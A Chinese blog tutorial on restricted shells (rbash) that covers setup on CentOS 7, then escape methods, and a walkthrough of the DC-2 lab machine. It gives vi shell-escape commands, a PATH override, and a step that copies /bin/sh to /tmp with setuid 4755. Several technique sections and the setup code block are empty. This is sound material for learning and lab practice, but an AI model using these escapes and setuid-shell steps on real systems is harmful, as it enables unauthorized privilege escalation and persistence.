restricted shell 与rbash
什么是restricted shell?顾名思义是一个受限的shell,让用户只能执行一些网络管理员允许执行的命令,极大地控制了用户的权限,可分为
rbash(The restricted mode of bash)
ksh(Similarly the Korn shell’s restricted mode)
rsh(The restricted mode of the Bourne shell sh)
下面以rbash展开
rbash是一个bash -r的软连接,可以rbash进入或者bash -r直接进入
rbash的配置
在研究rbash逃逸之前,更应该先了解如何配置一个使特定用户只能使用rbash的环境
在红帽系的linux中默认没有rbash,需要先创建一个软链接,以centos7配置为例
1 |
|
将允许用户使用的命令通过软链接形式复制到家目录的bin下
注意:请直接登录test用户或者使用ssh验证rbash生效,在root用户下su test切换验证无效
rbash逃逸
下面复现几个实战和ctf中常见的逃逸
Find:
Python:
Awk:
vi:
想了解更多?
(https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf)
rbash逃逸实战
以vulhub.com上的DC-2为例
在cewl生成字典和wpscan配合爆出对应的用户名和密码后
发现shell是rbash,使用自动补全命令compgen -c可以看到我们能使用vi
利用vi提权1
2:set shell=/bin/sh
:shell
更改PATH(从前面的配置过程可以看出实际对应的是家目录下的.bash_ profile文件)
export PATH=$PATH:/bin:/usr/bin
登录到jerry,使用git提权
复制/bin/sh 到/tmp目录下
!/bin/sh -c “cp /bin/sh /tmp/test.sh;chmod 4755 /tmp/test.sh”